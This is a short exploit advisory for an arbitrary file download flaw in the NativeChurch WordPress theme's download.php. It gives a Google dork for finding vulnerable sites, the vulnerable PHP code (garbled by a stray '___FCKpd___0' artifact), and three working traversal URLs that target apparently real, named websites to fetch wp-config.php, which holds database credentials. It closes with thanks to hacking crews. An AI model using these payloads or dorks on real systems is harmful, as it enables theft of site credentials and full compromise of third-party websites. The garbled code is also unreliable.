# Exploit Title: Wordpress Theme NativeChurch - Arbitrary File Download
# Google Dork: inurl:"/wp-content/themes/NativeChurch/"
# Date: 13/6/2015
# Exploit Author: Arash Khazaei
# Vendor Homepage:
http://support.imithemes.com/forums/forum/html-templates/native-church/
# Software Link: N/A
# Version: 1.0-1.5
# Tested on: Windows7 , Kali
# CVE : N/A

A LFD Bug In download.php File In NativeChurch Theme And Make Site
Vulnerable :

Poc :

<?php
#Vulnerable Code =>  $file = 
___FCKpd___0
GET['file'];
$ext = pathinfo($file, PATHINFO_EXTENSION);
header("Content-type: application/".$ext);
header("Content-Disposition: attachment; filename=". $file);
readfile($file);
?>


http://www.lifepointefresno.com/wordpress/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php
http://nlag.in/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php
http://www.thegreatcandyrun.com/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php


Special Tnx To : Milad Hacking , ACC3SS , Seravo BlackHat , Irh BlackHat,
Rz07,
Net-Hacker , NETC@T , Err0r , Cloner_47 , Detection , MR.B3NY,
Shadow_Walker58,
Saeed.J0ker, MR.TEKIDE , And All My Friends